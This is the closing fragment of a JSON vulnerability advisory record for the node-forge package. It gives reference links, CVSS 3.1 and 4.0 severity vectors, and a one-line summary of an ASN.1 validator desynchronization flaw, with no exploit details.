    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/521113"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/node-forge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-forge has an Interpretation Conflict vulnerability via its ASN.1 Validator Desynchronization"
}